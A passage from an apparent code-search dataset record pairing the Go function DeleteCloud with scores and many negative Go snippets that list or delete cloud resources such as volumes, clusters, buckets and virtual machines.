ListVolumes(\n\tctx context.Context,\n\treq *csi.ListVolumesRequest,\n) (*csi.ListVolumesResponse, error) {\n\n\treturn nil, status.Error(codes.Unimplemented, \"\")\n}", "func FetchClusters(c *gin.Context) {\n\n\tbanzaiUtils.LogInfo(banzaiConstants.TagListClusters, \"Start listing clusters\")\n\n\tvar clusters []banzaiSimpleTypes.ClusterSimple\n\tvar response []*cloud.ClusterRepresentation\n\tdatabase.Find(&clusters)\n\n\tif len(clusters) <= 0 {\n\t\tbanzaiUtils.LogInfo(banzaiConstants.TagListClusters, \"No clusters found\")\n\t\tcloud.SetResponseBodyJson(c, http.StatusNotFound, gin.H{\n\t\t\tcloud.JsonKeyStatus: http.StatusNotFound,\n\t\t\tcloud.JsonKeyMessage: \"No clusters found!\",\n\t\t})\n\t\treturn\n\t}\n\n\tfor _, cl := range clusters {\n\t\tclust := cloud.GetClusterRepresentation(&cl)\n\t\tif clust != nil {\n\t\t\tbanzaiUtils.LogInfo(banzaiConstants.TagListClusters, fmt.Sprintf(\"Append %#v cluster representation to response\", clust))\n\t\t\tresponse = append(response, clust)\n\t\t}\n\n\t}\n\tcloud.SetResponseBodyJson(c, http.StatusOK, gin.H{\n\t\tcloud.JsonKeyStatus: http.StatusOK,\n\t\tcloud.JsonKeyData: response,\n\t})\n}", "func (cl *Client) VolumeList(ctx context.Context, vla *csp.VolumeListArgs) ([]*csp.Volume, error) {\n\tvar svc, volumeType string\n\tif vla.StorageTypeName != \"\" {\n\t\tvar obj *models.CSPStorageType\n\t\tif svc, volumeType, obj = StorageTypeToServiceVolumeType(vla.StorageTypeName); obj == nil || svc != ServiceGCE {\n\t\t\treturn nil, fmt.Errorf(\"invalid storage type\")\n\t\t}\n\t\tvolumeType = fmt.Sprintf(volTypeURL, cl.projectID, cl.attrs[AttrZone].Value, volumeType)\n\t}\n\treturn cl.gceVolumeList(ctx, vla, volumeType)\n}", "func (app *App) StorageList(ctx context.Context) (objects []string, err error) {\n\tstorageClient, err := app.Storage(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbucket, err := storageClient.DefaultBucket()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tit := bucket.Objects(ctx, nil)\n\tfor {\n\t\tattr, err := it.Next()\n\t\tif err == iterator.Done {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tobjects = append(objects, attr.Name)\n\t}\n\n\treturn objects, nil\n}", "func (c *ProjectService) List() ([]Project, *http.Response, error) {\n\tresponse := new(projectListResponse)\n\tapiError := new(APIError)\n\tresp, err := c.sling.New().Get(\"\").Receive(response, apiError)\n\treturn response.Results, resp, relevantError(err, *apiError)\n}", "func (c *vmClient) List() ([]*api.VM, error) {\n\tlist, err := c.storage.List(api.KindVM)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresults := make([]*api.VM, 0, len(list))\n\tfor _, item := range list {\n\t\tresults = append(results, item.(*api.VM))\n\t}\n\n\treturn results, nil\n}", "func (client *Client) ListFileSystems(request *ListFileSystemsRequest) (response *ListFileSystemsResponse, err error) {\n\tresponse = CreateListFileSystemsResponse()\n\terr = client.DoAction(request, response)\n\treturn\n}", "func (svc *GCSclient) list(bucketName string, filePrefix string) ([]string, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 300*time.Second)\n\tdefer cancel()\n\t// List all objects in a bucket using pagination\n\tvar files []string\n\tit := svc.Bucket(bucketName).Objects(ctx, &storage.Query{Prefix: filePrefix})\n\tfor {\n\t\tobj, err := it.Next()\n\t\tif err == iterator.Done {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfiles = append(files, obj.Name)\n\t}\n\tsort.Strings(files)\n\treturn files, nil\n}", "func List(client *gophercloud.ServiceClient, opts ListOptsBuilder) pagination.Pager {\n\turl := listURL(client)\n\tif opts != nil {\n\t\tquery, err := opts.ToRegionListQuery()\n\t\tif err != nil {\n\t\t\treturn pagination.Pager{Err: err}\n\t\t}\n\t\turl += query\n\t}\n\treturn pagination.NewPager(client, url, func(r pagination.PageResult) pagination.Page {\n\t\treturn RegionPage{pagination.LinkedPageBase{PageResult: r}}\n\t})\n}", "func List(collection Getter) func(ctx context.Context) ([]interface{}, error) {\n\treturn func(ctx context.Context) ([]interface{}, error) {\n\t\tprojects := []Project{}\n\t\terr := collection.GetAll(ctx, &projects)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\titems := make([]interface{}, len(projects))\n\t\tfor i, v := range projects {\n\t\t\titems[i] = v\n\t\t}\n\t\treturn items, nil\n\t}\n}", "func ListCruds() []string {\n\tvar crudsList []string\n\tdb.Local.View(func(tx *bolt.Tx) error {\n\t\t// Assume bucket exists and has keys.\n\t\tb := tx.Bucket([]byte(crudBucket))\n\t\tc := b.Cursor()\n\n\t\tvar crud Crud\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\t_ = json.Unmarshal(v, &crud)\n\t\t\tcrudsList = append(crudsList, crud.Name)\n\t\t}\n\t\treturn nil\n\t})\n\treturn crudsList\n}", "func ListVolumes(\n\tctx context.Context,\n\tc csi.ControllerClient,\n\tversion *csi.Version,\n\tmaxEntries uint32,\n\tstartingToken string,\n\tcallOpts ...grpc.CallOption) (\n\tvolumes []*csi.VolumeInfo, nextToken string, err error) {\n\n\treq := &csi.ListVolumesRequest{\n\t\tMaxEntries: maxEntries,\n\t\tStartingToken: startingToken,\n\t\tVersion: version,\n\t}\n\n\tres, err := c.ListVolumes(ctx, req, callOpts...)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\tresult := res.GetResult()\n\tnextToken = result.NextToken\n\tentries := result.Entries\n\n\t// check to see if there are zero entries\n\tif len(result.Entries) == 0 {\n\t\treturn nil, nextToken, nil\n\t}\n\n\tvolumes = make([]*csi.VolumeInfo, len(entries))\n\n\tfor x, e := range entries {\n\t\tif volumes[x] = e.GetVolumeInfo(); volumes[x] == nil {\n\t\t\treturn nil, \"\", ErrNilVolumeInfo\n\t\t}\n\t}\n\n\treturn volumes, nextToken, nil\n}", "func (h StorageClassHandler) List(ctx *gin.Context) {\n\tstatus := h.Prepare(ctx)\n\tif status != http.StatusOK {\n\t\tctx.Status(status)\n\t\treturn\n\t}\n\tdb := h.Reconciler.DB()\n\tlist := []model.StorageClass{}\n\terr := db.List(\n\t\t&list,\n\t\tlibmodel.ListOptions{\n\t\t\tPage: &h.Page,\n\t\t})\n\tif err != nil {\n\t\tLog.Trace(err)\n\t\tctx.Status(http.StatusInternalServerError)\n\t\treturn\n\t}\n\tcontent := []interface{}{}\n\tfor _, m := range list {\n\t\tr := &StorageClass{}\n\t\tr.With(&m)\n\t\tr.SelfLink = h.Link(h.Provider, &m)\n\t\tcontent = append(content, r.Content(h.Detail))\n\t}\n\n\tctx.JSON(http.StatusOK, content)\n}", "func (s *S3Store) ListBuckets() (bkts []string, err error) {\n\tvar req s3.ListBucketsInput\n\tvar resp *s3.ListBucketsOutput\n\tif resp, err = s.svc.ListBuckets(&req); err != nil {\n\t\treturn\n\t}\n\tfor _, bkt := range resp.Buckets {\n\t\tbkts = append(bkts, aws.StringValue(bkt.Name))\n\t}\n\treturn\n}", "func (client *Client) ListVolumes(all bool) ([]api.Volume, error) {\n\tif all {\n\t\treturn client.listAllVolumes()\n\t}\n\treturn client.listMonitoredVolumes()\n\n}", "func (client VolumesClient) List(ctx context.Context, location string, storageSubSystem string, storagePool string, filter string) (result VolumeListPage, err error) {\n\tresult.fn = client.listNextResults\n\treq, err := client.ListPreparer(ctx, location, storageSubSystem, storagePool, filter)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"fabric.VolumesClient\", \"List\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.ListSender(req)\n\tif err != nil {\n\t\tresult.vl.Response = autorest.Response{Response: resp}\n\t\terr = autorest.NewErrorWithError(err, \"fabric.VolumesClient\", \"List\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult.vl, err = client.ListResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"fabric.VolumesClient\", \"List\", resp, \"Failure responding to request\")\n\t}\n\n\treturn\n}", "func (k *kubernetes) List() ([]*runtime.Service, error) {\n\tk.Lock()\n\tdefer k.Unlock()\n\n\tlabels := map[string]string{\n\t\t\"micro\": k.options.Type,\n\t}\n\n\tlog.Debugf(\"Runtime listing all micro services\")\n\n\treturn k.getService(labels)\n}", "func (c *TestClient) ListZones(project string, opts ...ListCallOption) ([]*compute.Zone, error) {\n\tif c.ListZonesFn != nil {\n\t\treturn c.ListZonesFn(project, opts...)\n\t}\n\treturn c.client.ListZones(project, opts...)\n}", "func List(ctx context.Context, client *v1.ServiceClient) ([]*View, *v1.ResponseResult, error) {\n\turl := client.Endpoint + \"/\"\n\tresponseResult, err := client.DoRequest(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif responseResult.Err != nil {\n\t\treturn nil, responseResult, responseResult.Err\n\t}\n\n\t// Extract domains from the response body.\n\tvar domains []*View\n\terr = responseResult.ExtractResult(&domains)\n\tif err != nil {\n\t\treturn nil, responseResult, err\n\t}\n\n\treturn domains, responseResult, nil\n}", "func (client *Client) ListHosts() ([]*model.Host, error) {\n\treturn client.osclt.ListHosts()\n}", "func (adm Admin) ListClusters() (string, error) {\n\tvar clusters []string\n\n\tchildren, err := adm.zkClient.Children(\"/\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfor _, cluster := range children {\n\t\tif ok, err := adm.isClusterSetup(cluster); ok && err == nil {\n\t\t\tclusters = append(clusters, cluster)\n\t\t}\n\t}\n\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"Existing clusters: \\n\")\n\n\tfor _, cluster := range clusters {\n\t\tbuffer.WriteString(\" \" + cluster + \"\\n\")\n\t}\n\treturn buffer.String(), nil\n}", "func List(c *gophercloud.ServiceClient, opts ListOpts) pagination.Pager {\n\tq, err := gophercloud.BuildQueryString(&opts)\n\tif err != nil {\n\t\treturn pagination.Pager{Err: err}\n\t}\n\tu := rootURL(c) + q.String()\n\treturn pagination.NewPager(c, u, func(r pagination.PageResult) pagination.Page {\n\t\treturn PoolPage{pagination.LinkedPageBase{PageResult: r}}\n\t})\n}" ]
[ "0.75105655", "0.73811686", "0.6556542", "0.634234", "0.6327636", "0.60169786", "0.60099643", "0.5958216", "0.5926719", "0.5926633", "0.58319795", "0.58097786", "0.5730285", "0.5722008", "0.57091457", "0.5642574", "0.5606681", "0.55926037", "0.5588285", "0.55673075", "0.55298173", "0.5517532", "0.55158985", "0.55067945", "0.54744804", "0.54546326", "0.54278904", "0.5407903", "0.5402222", "0.53896827", "0.53872895", "0.5386758", "0.53664905", "0.53520167", "0.53457946", "0.53312045", "0.53290015", "0.53226674", "0.53015214", "0.52973384", "0.52926713", "0.52887243", "0.5278715", "0.5272495", "0.5268112", "0.52678156", "0.5256471", "0.52521807", "0.52508", "0.5239938", "0.523772", "0.52375954", "0.52260137", "0.5217458", "0.52124655", "0.5198494", "0.51916236", "0.5180723", "0.5176557", "0.51764387", "0.5176157", "0.5168044", "0.5164722", "0.51636916", "0.51620495", "0.51605576", "0.5147764", "0.51434344", "0.5124946", "0.51238626", "0.5118865", "0.5114126", "0.5105468", "0.5101205", "0.50820684", "0.50773996", "0.5073345", "0.5070425", "0.5069288", "0.5061554", "0.50593674", "0.5054698", "0.5043238", "0.5039752", "0.5038617", "0.5034102", "0.50334466", "0.5031852", "0.50248414", "0.50216335", "0.50197554", "0.5018957", "0.50181246", "0.5009085", "0.49745923", "0.49740922", "0.4973399", "0.49727514", "0.49719748", "0.49667522" ]
0.8236685
0
DeleteCloud deletes the cloud.
func (m *cloudManager) DeleteCloud(name string) error { return m.ds.DeleteCloudByName(name) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (cc *Controller) DeleteCloud(name string) {\n\tdelete(cc.Clouds, name)\n}", "func (dc Datacenter) Delete(client MetalCloudClient) error {\n\treturn nil\n}", "func (client StorageGatewayClient) DeleteCloudSync(ctx context.Context, request DeleteCloudSyncRequest) (response DeleteCloudSyncResponse, err error) {\n\tvar ociResponse common.OCIResponse\n\tpolicy := common.NoRetryPolicy()\n\tif client.RetryPolicy() != nil {\n\t\tpolicy = *client.RetryPolicy()\n\t}\n\tif request.RetryPolicy() != nil {\n\t\tpolicy = *request.RetryPolicy()\n\t}\n\tociResponse, err = common.Retry(ctx, request, client.deleteCloudSync, policy)\n\tif err != nil {\n\t\tif ociResponse != nil {\n\t\t\tif httpResponse := ociResponse.HTTPResponse(); httpResponse != nil {\n\t\t\t\topcRequestId := httpResponse.Header.Get(\"opc-request-id\")\n\t\t\t\tresponse = DeleteCloudSyncResponse{RawResponse: httpResponse, OpcRequestId: &opcRequestId}\n\t\t\t} else {\n\t\t\t\tresponse = DeleteCloudSyncResponse{}\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n\tif convertedResponse, ok := ociResponse.(DeleteCloudSyncResponse); ok {\n\t\tresponse = convertedResponse\n\t} else {\n\t\terr = fmt.Errorf(\"failed to convert OCIResponse into DeleteCloudSyncResponse\")\n\t}\n\treturn\n}", "func (client StorageGatewayClient) deleteCloudSync(ctx context.Context, request common.OCIRequest) (common.OCIResponse, error) {\n\thttpRequest, err := request.HTTPRequest(http.MethodDelete, \"/storageGateways/{storageGatewayId}/cloudSyncs/{cloudSyncName}\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response DeleteCloudSyncResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "func (f *IBMPICloudConnectionClient) Delete(pclouddef *p_cloud_cloud_connections.PcloudCloudconnectionsDeleteParams) (models.Object, error) {\n\tparams := p_cloud_cloud_connections.NewPcloudCloudconnectionsDeleteParams().WithCloudInstanceID(pclouddef.CloudInstanceID).WithCloudConnectionID(pclouddef.CloudConnectionID)\n\trespok, _, err := f.session.Power.PCloudCloudConnections.PcloudCloudconnectionsDelete(params, ibmpisession.NewAuth(f.session, pclouddef.CloudInstanceID))\n\n\tif err != nil || respok.Payload == nil {\n\t\treturn nil, fmt.Errorf(\"Failed to Delete all cloud connection %s\", err)\n\t}\n\treturn respok.Payload, nil\n}", "func (ci CloudIntegrations) Delete(cloudIntegration *CloudIntegration, skipTrash bool) error {\n\tif cloudIntegration.Id == \"\" {\n\t\treturn fmt.Errorf(\"cloud integration id must be specified\")\n\t}\n\n\tparams := map[string]string{\n\t\t\"skipTrash\": strconv.FormatBool(skipTrash),\n\t}\n\n\terr := doRest(\n\t\t\"DELETE\",\n\t\tfmt.Sprintf(\"%s/%s\", baseCloudIntegrationPath, cloudIntegration.Id),\n\t\tci.client,\n\t\tdoParams(params))\n\tif err == nil {\n\t\tcloudIntegration.Id = \"\"\n\t}\n\treturn err\n}", "func ExamplePrivateCloudsClient_BeginDelete() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armavs.NewClientFactory(\"<subscription-id>\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tpoller, err := clientFactory.NewPrivateCloudsClient().BeginDelete(ctx, \"group1\", \"cloud1\", nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n\t_, err = poller.PollUntilDone(ctx, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to pull the result: %v\", err)\n\t}\n}", "func DeleteCloudCredential(name string, orgID string, cloudCredUID string) {\n\tStep(fmt.Sprintf(\"Delete cloud credential [%s] in org [%s]\", name, orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\n\t\tcredDeleteRequest := &api.CloudCredentialDeleteRequest{\n\t\t\tName: name,\n\t\t\tOrgId: orgID,\n\t\t\tUid: cloudCredUID,\n\t\t}\n\t\t//ctx, err := backup.GetPxCentralAdminCtx()\n\t\tctx, err := backup.GetAdminCtxFromSecret()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\tbackupDriver.DeleteCloudCredential(ctx, credDeleteRequest)\n\t\t// Best effort cleanup, dont fail test, if deletion fails\n\t\t// expect(err).NotTo(haveOccurred(),\n\t\t// fmt.Sprintf(\"Failed to delete cloud credential [%s] in org [%s]\", name, orgID))\n\t\t// TODO: validate CreateCloudCredentialResponse also\n\t})\n}", "func (c *Client) CloudDeleteInstance(projectID, instanceID string) error {\n\terr := c.Delete(queryEscape(\"/cloud/project/%s/instance/%s\", projectID, instanceID), nil)\n\tif apierror, ok := err.(*APIError); ok && apierror.Code == 404 {\n\t\terr = nil\n\t}\n\treturn err\n}", "func Delete(client *gophercloud.ServiceClient, regionID string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, regionID), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(name string) error {\n\tinstance, err := Get(name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to find a cluster named '%s': %s\", name, err.Error())\n\t}\n\terr = instance.Delete()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to delete infrastructure of cluster '%s': %s\", name, err.Error())\n\t}\n\n\t// Deletes the network and related stuff\n\tutils.DeleteNetwork(instance.GetNetworkID())\n\n\t// Cleanup Object Storage data\n\treturn instance.RemoveDefinition()\n}", "func (cce *CCEClient) Delete(ctx context.Context, cluster *clusterv1.Cluster, machine *clusterv1.Machine) error {\n\tglog.V(4).Info(\"Delete node: %s\", machine.Name)\n\tkubeclient, err := cce.getKubeClient(cluster)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := kubeclient.CoreV1().Nodes().Delete(machine.Name, &metav1.DeleteOptions{}); err != nil {\n\t\tif !apierrors.IsNotFound(err) {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tglog.V(4).Infof(\"Release machine: %s\", machine.Name)\n\tinstance, err := cce.instanceIfExists(cluster, machine)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif instance == nil || len(instance.CreationTime) == 0 {\n\t\tglog.Infof(\"Skipped delete a VM that already does not exist\")\n\t\treturn nil\n\t}\n\tif err := cce.computeService.Bcc().DeleteInstance(instance.InstanceID, nil); err != nil {\n\t\tglog.Errorf(\"delete instance %s err: %+v\", instance.InstanceID, err)\n\t\treturn err\n\t}\n\ttime.Sleep(3 * time.Second)\n\treturn nil\n}", "func (gc *GKECluster) Delete() error {\n\tif !gc.NeedCleanup {\n\t\treturn nil\n\t}\n\t// TODO: Perform GKE specific cluster deletion logics\n\treturn nil\n}", "func Delete(client *gophercloud.ServiceClient, instanceID, dbName string) (r DeleteResult) {\n\tresp, err := client.Delete(dbURL(client, instanceID, dbName), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(t *testing.T, knFunc *TestShellCmdRunner, project *FunctionTestProject) {\n\t// Invoke delete command\n\tresult := knFunc.Exec(\"delete\", project.FunctionName)\n\tif result.Error != nil && project.IsDeployed {\n\t\tt.Fail()\n\t}\n\tproject.IsDeployed = false\n\n\t// Invoke list to verify project was deleted\n\tList(t, knFunc, *project)\n}", "func (c *client) Delete(ctx context.Context, group, name string) error {\n\tvm, err := c.Get(ctx, group, name)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(*vm) == 0 {\n\t\treturn fmt.Errorf(\"Virtual Machine [%s] not found\", name)\n\t}\n\n\trequest, err := c.getVirtualMachineRequest(wssdcloudproto.Operation_DELETE, group, name, &(*vm)[0])\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = c.VirtualMachineAgentClient.Invoke(ctx, request)\n\n\treturn err\n}", "func (s *API) DeleteDatabase(req *DeleteDatabaseRequest, opts ...scw.RequestOption) error {\n\tvar err error\n\n\tif req.Region == \"\" {\n\t\tdefaultRegion, _ := s.client.GetDefaultRegion()\n\t\treq.Region = defaultRegion\n\t}\n\n\tif fmt.Sprint(req.Region) == \"\" {\n\t\treturn errors.New(\"field Region cannot be empty in request\")\n\t}\n\n\tif fmt.Sprint(req.InstanceID) == \"\" {\n\t\treturn errors.New(\"field InstanceID cannot be empty in request\")\n\t}\n\n\tif fmt.Sprint(req.Name) == \"\" {\n\t\treturn errors.New(\"field Name cannot be empty in request\")\n\t}\n\n\tscwReq := &scw.ScalewayRequest{\n\t\tMethod: \"DELETE\",\n\t\tPath: \"/rdb/v1/regions/\" + fmt.Sprint(req.Region) + \"/instances/\" + fmt.Sprint(req.InstanceID) + \"/databases/\" + fmt.Sprint(req.Name) + \"\",\n\t\tHeaders: http.Header{},\n\t}\n\n\terr = s.client.Do(scwReq, nil, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (p *ClusterProvider) Delete() error {\n\t// This return nil for existing cluster\n\treturn nil\n}", "func (m *MultiDB) Delete() (ErrCode, error) {\n\tm.Close()\n\tm.system.Close()\n\tif err := removeContents(m.BaseDir()); err != nil {\n\t\treturn ErrFileSystem, err\n\t}\n\treturn OK, nil\n}", "func Delete(client *gophercloud.ServiceClient, trustID string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, trustID), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (p *googleCloudProvider) Delete(_ context.Context, req *rpc.DeleteRequest) (*empty.Empty, error) {\n\turn := resource.URN(req.GetUrn())\n\tresourceKey := string(urn.Type())\n\tres, ok := p.resourceMap.Resources[resourceKey]\n\tif !ok {\n\t\treturn nil, errors.Errorf(\"resource %q not found\", resourceKey)\n\t}\n\n\turi := res.ResourceUrl(req.GetId())\n\n\tif res.NoDelete {\n\t\t// At the time of writing, the classic GCP provider has the same behavior and warning for 10 resources.\n\t\tlogging.V(1).Infof(\"%q resources\"+\n\t\t\t\" cannot be deleted from Google Cloud. The resource %s will be removed from Pulumi\"+\n\t\t\t\" state, but will still be present on Google Cloud.\", resourceKey, req.GetId())\n\t\treturn &empty.Empty{}, nil\n\t}\n\n\tresp, err := p.client.RequestWithTimeout(\"DELETE\", uri, nil, 0)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error sending request: %s\", err)\n\t}\n\n\t_, err = p.waitForResourceOpCompletion(res.BaseUrl, resp)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"waiting for completion\")\n\t}\n\n\treturn &empty.Empty{}, nil\n}", "func Delete(client *gophercloud.ServiceClient, name string) os.DeleteResult {\n\treturn os.Delete(client, name)\n}", "func (a *Actuator) Delete(ctx context.Context, machine *machinev1.Machine) error {\n\tklog.Infof(\"%s actuator deleting machine from namespace %s\", machine.Name, machine.Namespace)\n\n\tscope, err := newMachineScope(machineScopeParams{\n\t\tContext: ctx,\n\t\tclient: a.client,\n\t\tmachine: machine,\n\t\talibabacloudClientBuilder: a.alibabacloudClientBuilder,\n\t\tconfigManagedClient: a.configManagedClient,\n\t})\n\n\tif err != nil {\n\t\treturn a.handleMachineError(machine, machineapierrors.DeleteMachine(\"failed to create machine %q scope: %v\", machine.Name, err), deleteEventAction)\n\t}\n\n\tif err = a.reconcilerBuilder(scope).Delete(context.Background()); err != nil {\n\t\tif err := scope.patchMachine(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn a.handleMachineError(machine, machineapierrors.InvalidMachineConfiguration(\"failed to reconcile machine %q: %v\", machine.Name, err), deleteEventAction)\n\t}\n\n\ta.eventRecorder.Eventf(machine, corev1.EventTypeNormal, \"Deleted\", \"Deleted machine %q\", machine.Name)\n\treturn scope.patchMachine()\n}", "func (c *vmClient) Delete(uid meta.UID) error {\n\tlog.Debugf(\"Client.Delete; UID: %q, Kind: %s\", uid, api.KindVM)\n\treturn c.storage.Delete(api.KindVM, uid)\n}", "func (s *azureMachineService) Delete() error {\n\tvmSpec := &virtualmachines.Spec{\n\t\tName: s.machineScope.Name(),\n\t}\n\n\terr := s.virtualMachinesSvc.Delete(s.clusterScope.Context, vmSpec)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete machine\")\n\t}\n\n\tnetworkInterfaceSpec := &networkinterfaces.Spec{\n\t\tName: azure.GenerateNICName(s.machineScope.Name()),\n\t\tVnetName: azure.GenerateVnetName(s.clusterScope.Name()),\n\t}\n\n\terr = s.networkInterfacesSvc.Delete(s.clusterScope.Context, networkInterfaceSpec)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Unable to delete network interface\")\n\t}\n\n\tpublicIPSpec := &publicips.Spec{\n\t\tName: azure.GenerateNICName(s.machineScope.Name()) + \"-public-ip\",\n\t}\n\n\terr = s.publicIPSvc.Delete(s.clusterScope.Context, publicIPSpec)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"unable to delete publicIP\")\n\t}\n\n\tOSDiskSpec := &disks.Spec{\n\t\tName: azure.GenerateOSDiskName(s.machineScope.Name()),\n\t}\n\terr = s.disksSvc.Delete(s.clusterScope.Context, OSDiskSpec)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Failed to delete OS disk of machine %s\", s.machineScope.Name())\n\t}\n\n\treturn nil\n}", "func (c *Client) Delete(d core.Digest) error {\n\t_, err := httputil.Delete(fmt.Sprintf(\"http://%s/blobs/%s\", c.addr, d))\n\treturn err\n}", "func (c *client) Delete(ctx context.Context, group, name string) error {\n\tvnet, err := c.Get(ctx, group, name)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(*vnet) == 0 {\n\t\treturn fmt.Errorf(\"Virtual Network [%s] not found\", name)\n\t}\n\n\trequest, err := getVirtualNetworkRequest(wssdcloudcommon.Operation_DELETE, group, name, &(*vnet)[0])\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = c.VirtualNetworkAgentClient.Invoke(ctx, request)\n\n\treturn err\n}", "func (client DatabasesClient) Delete(resourceGroupName string, serverName string, databaseName string) (result autorest.Response, err error) {\n\treq, err := client.DeletePreparer(resourceGroupName, serverName, databaseName)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"sql.DatabasesClient\", \"Delete\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.DeleteSender(req)\n\tif err != nil {\n\t\tresult.Response = resp\n\t\terr = autorest.NewErrorWithError(err, \"sql.DatabasesClient\", \"Delete\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult, err = client.DeleteResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"sql.DatabasesClient\", \"Delete\", resp, \"Failure responding to request\")\n\t}\n\n\treturn\n}", "func Delete(c *gophercloud.ServiceClient, networkID string) os.DeleteResult {\n\treturn os.Delete(c, networkID)\n}", "func Delete(uri string) error {\n\treq, err := http.NewRequest(\"DELETE\", Host+uri, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tres, err := Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != 204 {\n\t\treturn fmt.Errorf(\"got %d\", res.StatusCode)\n\t}\n\n\treturn nil\n}", "func (datastore *Datastore) Delete() error {\n\t_, err := client.Call(\"one.datastore.delete\", datastore.ID)\n\treturn err\n}", "func (o *StorageDeleteOptions) Run() (err error) {\n\tvar deleteMsg string\n\n\tvar devFile devfileParser.DevfileObj\n\tmPath := \"\"\n\tif o.isDevfile {\n\t\tdevFile, err = devfile.ParseAndValidate(o.devfilePath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = validate.ValidateDevfileData(devFile.Data)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tmPath, err = devFile.Data.GetVolumeMountPath(o.storageName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tmPath = o.LocalConfigInfo.GetMountPath(o.storageName)\n\t}\n\n\tdeleteMsg = fmt.Sprintf(\"Are you sure you want to delete the storage %v mounted to %v in %v component\", o.storageName, mPath, o.componentName)\n\n\tif log.IsJSON() || o.storageForceDeleteFlag || ui.Proceed(deleteMsg) {\n\t\tif o.isDevfile {\n\t\t\terr = devFile.Data.DeleteVolume(o.storageName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = devFile.WriteYamlDevfile()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\terr = o.LocalConfigInfo.StorageDelete(o.storageName)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to delete storage, cause %v\", err)\n\t\t\t}\n\t\t}\n\n\t\tsuccessMessage := fmt.Sprintf(\"Deleted storage %v from %v\", o.storageName, o.componentName)\n\n\t\tif log.IsJSON() {\n\t\t\tstorage.MachineReadableSuccessOutput(o.storageName, successMessage)\n\t\t} else {\n\t\t\tlog.Infof(successMessage)\n\t\t\tlog.Italic(\"\\nPlease use `odo push` command to delete the storage from the cluster\")\n\t\t}\n\t} else {\n\t\treturn fmt.Errorf(\"aborting deletion of storage: %v\", o.storageName)\n\t}\n\n\treturn\n}", "func Delete(client *occlient.Client, kClient *kclient.Client, urlName string, 